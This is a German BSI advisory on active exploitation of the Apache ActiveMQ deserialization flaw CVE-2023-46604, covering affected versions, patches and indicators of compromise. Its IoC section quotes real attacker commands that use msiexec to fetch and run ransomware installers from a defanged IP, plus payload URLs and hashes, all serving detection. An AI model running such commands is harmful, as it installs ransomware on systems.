Bundesamt
für Sicherheit in der
Informationstechnik

Nationales
IT-Lagezentrum BSI

SCHWACHSTELLE | GEFÄHRDUNG | VORFALL | IT-ASSETS

Aktive Ausnutzung einer Schwachstelle in Apache ActiveMQ

Nr. 2023-283657-1022, Version 1.0, 02.11.2023

IT-Bedrohungslage*: 2 / Gelb

Achtung: Für die schriftliche und mündliche Weitergabe dieses Dokumentes und der darin enthaltenen Informationen gelten gemäß dem Traffic Light Protokoll (TLP) die folgenden Einschränkungen:

TLP:CLEAR: Unbegrenzte Weitergabe

Abgesehen von urheberrechtlichen Aspekten, die das TLP explizit nicht adressiert, dürfen Informationen der Stufe TLP:CLEAR ohne Einschränkungen frei weitergegeben werden.

Das Dokument ist durch den Empfänger entsprechend den vereinbarten „Ausführungsbestimmungen zum sicheren Informationsaustausch mit TLP“ zu verarbeiten, aufzubewahren, weiterzugeben und zu vernichten. Weitere Informationen zum TLP finden Sie am Ende dieses Dokumentes.

Sachverhalt

Am 25. Oktober 2023 wurde eine kritische Schwachstelle in dem Open Source Message-Broker Apache ActiveMQ bekanntgegeben [APACH23a]. Die Schwachstelle wird mit der CVE-Nummer CVE-2023-46604 geführt und hat eine CVSS-Bewertung von 10.0 ("kritisch"). Sie ermöglicht entfernten Angreifenden mit Netzwerkzugriff auf einen ActiveMQ Broker willkürliche Shell-Befehle auszuführen. Durch manipulierte serialisierte Klassentypen im OpenWire-Protokoll, können beliebige Klassen im Klassenpfad instanziiert werden. Hervorgerufen wird die Schwachstelle durch unsichere Deserialisierung (CWE-502). [APACH23a]

Am 1. November veröffentlichte das IT-Sicherheitsunternehmen Rapid7 einen Blogbeitrag [RAPID7] zu einer möglichen beobachteten Ausnutzung und den beobachteten Indikatoren einer Kompromittierung (IoCs). Das niederländische CERT (NCSC-NL) hat im Rahmen seiner Veröffentlichung zu der Schwachstelle berichtet, Kenntnis über eine Ausnutzung der Schwachstelle erlangt zu haben. [NCSCNL2023]

Des Weiteren wurde ein Proof-of-Concept Exploit [POC23][GITH23] auf Github veröffentlicht.

Betroffen von der kritischen Schwachstelle sind die Apache ActiveMQ Versionen:

- Apache ActiveMQ 5.18.0 vor 5.18.3
- Apache ActiveMQ 5.17.0 vor 5.17.6
- Apache ActiveMQ 5.16.0 vor 5.16.7
- Apache ActiveMQ vor 5.15.16

* 1 / Grau: Die IT-Bedrohungslage ist ohne wesentliche Auffälligkeiten auf anhaltend hohem Niveau.
2 / Gelb IT-Bedrohungslage mit verstärkter Beobachtung von Auffälligkeiten unter temporärer Beeinträchtigung des Regelbetriebs.
3 / Orange Die IT-Bedrohungslage ist geschäftskritisch. Massive Beeinträchtigung des Regelbetriebs.
4 / Rot Die IT-Bedrohungslage ist extrem kritisch. Ausfall vieler Dienste, der Regelbetrieb kann nicht aufrecht erhalten werden.

- Apache ActiveMQ Legacy OpenWire Module 5.18.0 vor 5.18.3
- Apache ActiveMQ Legacy OpenWire Module 5.17.0 vor 5.17.6
- Apache ActiveMQ Legacy OpenWire Module 5.16.0 vor 5.16.7
- Apache ActiveMQ Legacy OpenWire Module 5.8.0 vor 5.15.16

Zum Beheben der Schwachstelle (CVE-2023-46604) stehen Patches bereit.

Bewertung

Die Schwachstelle in Apache ActiveMQ (CVE-2023-46604) ist besonders schwerwiegend, sollte der ActiveMQ Broker aus dem Internet erreichbar sein. Message Broker sind beliebte Ziele von Angreifenden durch ihre zentralen Rolle in Systemen und der häufigen Verarbeitung von vertraulichen Daten.

Durch die Verfügbarkeit eines vollständigen Exploits sowie technischen Details, ist die Schwachstelle einfach von Angreifenden ausnutzbar. Die Schwachstelle lässt sich ohne Authentifizierung ausnutzen und kann genutzt werden, um Server mit Schadware zu kompromittieren und Angriffe auf weitere IT-Komponenten im Netzwerk durchzuführen.

ShadowServer hat weltweit rund 7200 Server mit erreichbaren ActiveMQ Diensten gefunden, von denen 3329 verwundbar sind. Darunter wurden auch 154 Server in Deutschland gefunden (Stand 01.11.23). [SHAD23]

Die beobachtete Ausnutzung lässt darauf schließen, dass aus dem Internet erreichbare ActiveMQ Broker zeitnah angegriffen werden, wenn nicht bereits wurden.

Maßnahmen

IT-Sicherheitsverantwortliche sollten schnell handeln und die verfügbaren Patches [APACH23b] einspielen. Die Apache ActiveMQ Versionen 5.15.16, 5.16.7, 5.17.6, und 5.18.3 beheben die Schwachstelle (CVE-2023-46604).

Ebenfalls sollte, aufgrund der bereits beobachteten Ausnutzung, geprüft werden, ob bereits eine Kompromittierung stattgefunden hat.

Rapid7 konnte einen möglichen Indikator einer Ausnutzung im *activemq.log* finden. Bei einer Ausnutzung kann folgender Eintrag gefunden werden [RAPID7]:

> 2023-10-31 05:04:58,736 | WARN | Transport Connection to: tcp://[ANGREIFER_IP]:[PORT] failed: java.net.SocketException: An established connection was aborted by the software in your host machine | org.apache.activemq.broker.TransportConnection.Transport | ActiveMQ Transport: tcp:///[ANGREIFER_IP]:[PORT]@61616

Der Port 61616 ist der Standard-Port des Apache ActiveMQ Brokers.

Rapid7 gibt noch weitere IoCs an von Dateien, die von Angreifenden in den beobachteten Fällen auf einen Server geladen wurden, um auf diesen Ransomeware zu installieren. Nach Analysen des IT-Sicherheitsunternehmens handelte es sich dabei um Dateien der Ransomeware-Familie HelloKitty. Die mögliche Ausnutzung in zwei Fällen der Schwachstelle wurde am 27. Oktober entdeckt. [RAPID7]

Die schadhaften Dateien *m2.png* und *m4.png* wurden von folgenden Quellen heruntergeladen und mittels *msiexec*-Befehls ausgeführt [RAPID7]:

- *http://172.245.16[.]125/m2.png*
- *http://172.245.16[.]125/m4.png*
- *cmd.exe /c "start msiexec /q /i hxxp://172.245.16[.]125/m4.png"*
- *cmd.exe /c "start msiexec /q /i hxxp://172.245.16[.]125/m4.png"*

Folgende Hashwerte hatten die heruntergeladenen Dateien [RAPID7]:

- *M2.msi: 8177455ab89cc96f0c26bc42907da1a4f0b21fdc96a0cc96650843fd616551f4*
- *M4.msi: 8c226e1f640b570a4a542078a7db59bb1f1a55cf143782d93514e3bd86dc07a0*
- *dllloader: C3C0CF25D682E981C7CE1CC0A00FA2B8B46CCE2FA49ABE38BB412DA21DA99CB7*
- *EncDll: 3E65437F910F1F4E93809B81C19942EF74AA250AE228CACA0B278FC523AD47C*

Das BSI empfiehlt IT-Sicherheitsverantwortlichen den ActiveMQ Broker (Standard-Port 61616), sofern möglich, **nicht aus dem Internet erreichbar zu machen** und die Maßnahmen zur Absicherung von ActiveMQ Server von Apache [APACH23c] umzusetzen.

Links

[APACH23a] https://activemq.apache.org/security-advisories.data/CVE-2023-46604-announcement.txt

[APACH23b] https://activemq.apache.org/components/classic/download/

[APACH23c] https://activemq.apache.org/security

[RAPID7] https://www.rapid7.com/blog/post/2023/11/01/etr-suspected-exploitation-of-apache-activemq-cve-2023-46604/

[POC23] https://paper.seebug.org/3058/

[GITH23] https://github.com/X1r0z/ActiveMQ-RCE

[SHAD23] https://www.shadowserver.org/what-we-do/network-reporting/accessible-activemq-service-report/

[NCSCNL2023] https://advisories.ncsc.nl/advisory?id=NCSC-2023-0561

Anlagen

Kontakt

Bitte wenden Sie sich bei allen Rückfragen zu diesem Dokument an denjenigen Kontakt, der Ihnen das Dokument zugesendet hat. Dadurch bleibt der Informationsfluss kanalisiert. Die Single Points of Contact (SPOCs), welche das Dokument direkt vom Nationalen IT-Lagezentrum des BSI erhalten haben, können sich direkt an die bekannten Kontaktdaten des Nationalen IT-Lagezentrums im BSI wenden.

Erklärungen zum Traffic Light Protokoll (TLP)

Dieses Dokument und die darin enthaltenen Informationen sind gemäß dem TLP eingestuft:

1) Was ist das Traffic Light Protokoll?

Das vom BSI verwendete TLP basiert auf der Definition der TLP Version 2.0 des „Forum of Incident Response and Security Team“ (FIRST). Es dient der Schaffung von Vertrauen in Bezug auf den Schutz ausgetauschter Informationen durch Regelungen der Weitergabe. Eine unbefugte Weitergabe kann eine Verletzung der Vertraulichkeit, eine Rufschädigung, eine Beeinträchtigung der Geschäftstätigkeit oder datenschutzrechtliche Belange zur Folge haben. Im Zweifelsfall ist immer in Absprache mit dem Informationsersteller zu handeln.

2) Welche Einstufungen existieren?

- **TLP:CLEAR: Unbegrenzte Weitergabe**
  Abgesehen von urheberrechtlichen Aspekten dürfen Informationen der Stufe TLP:CLEAR ohne Einschränkungen frei weitergegeben werden.

- **TLP:GREEN: Organisationsübergreifende Weitergabe**
  Informationen dieser Stufe dürfen innerhalb der Organisationen und an deren Partner weitergegeben werden. Die Informationen dürfen jedoch nicht veröffentlicht werden. Eine Weitergabe von den Partnerorganisationen an weitere Personen oder Organisationen ist solange zulässig, wie diese weiteren Empfänger derselben Nutzergruppe (bspw. Angehörige der Cybersecurity-Community) angehören.

- **TLP:AMBER: Eingeschränkte interne und organisationsübergreifende Weitergabe**
  Der Empfänger darf die Informationen, welche als TLP:AMBER gekennzeichnet sind, an seine Partner weitergeben, soweit diese die Informationen zur Schadensreduktion oder dem eigenen Schutz benötigen. Eine Weitergabe von den Partnern an Dritte ist nicht erlaubt und auch innerhalb der Partnerorganisationen gilt das Prinzip „Kenntnis nur, wenn nötig“. Der Informationsersteller kann weitergehende oder zusätzliche Einschränkungen der Informationsweitergabe festlegen. Diese müssen eingehalten werden.

  TLP:AMBER+STRICT: Eingeschränkte interne Weitergabe
  Die Einstufung von Informationen als TLP:AMBER+STRICT beschränkt die Weitergabe ausschließlich auf die Organisation des Empfängers. Jegliche Weitergabe darüber hinaus ist untersagt. Es gilt „Kenntnis nur, wenn nötig“. Der Informationsersteller kann weitergehende oder zusätzliche Einschränkungen der Informationsweitergabe festlegen. Diese müssen eingehalten werden.

- **TLP:RED: Persönlich, nur für benannte Empfänger**
  Informationen dieser Stufe sind auf den Kreis der Anwesenden in einer Besprechung oder Video-/Audiokonferenz bzw. auf die direkten Empfänger bei schriftlicher Korrespondenz beschränkt. Eine Weitergabe ist untersagt. TLP:RED eingestufte Informationen sollten möglichst mündlich oder persönlich übergeben werden.

3) Was mache ich, wenn ich das Dokument an jemanden außerhalb des im TLP vorgegebenen Informationsverbundes weitergeben will?

Sollte eine Weitergabe an einen nicht durch die Einstufung genehmigten Empfängerkreis notwendig werden, so ist diese vor einer eventuellen Weitergabe durch den Informationsersteller nachvollziehbar zu genehmigen. Bei ausnahmsweiser Weitergabe im Rahmen einer bestehenden gesetzlichen Verpflichtung ist der Informationsersteller – nach Möglichkeit vorab – zu informieren.

4) Was passiert, wenn ich die Einstufung nicht beachte?

Bei Verstoß gegen die Regeln zur Weitergabe von Informationen erhält der Verpflichtete zukünftig nur noch TLP:CLEAR eingestufte Informationen aus dem Kreis der Verpflichteten.

Hinweis zu Upload-, Prüf- und Übersetzungsdiensten

TLP-eingestufte Dokumente (außer TLP:CLEAR) dürfen nicht auf Plattformen Dritter (wie Virustotal, Übersetzer, etc.) hochgeladen werden, da die Dokumente dort ggf. Dritten zugänglich gemacht werden.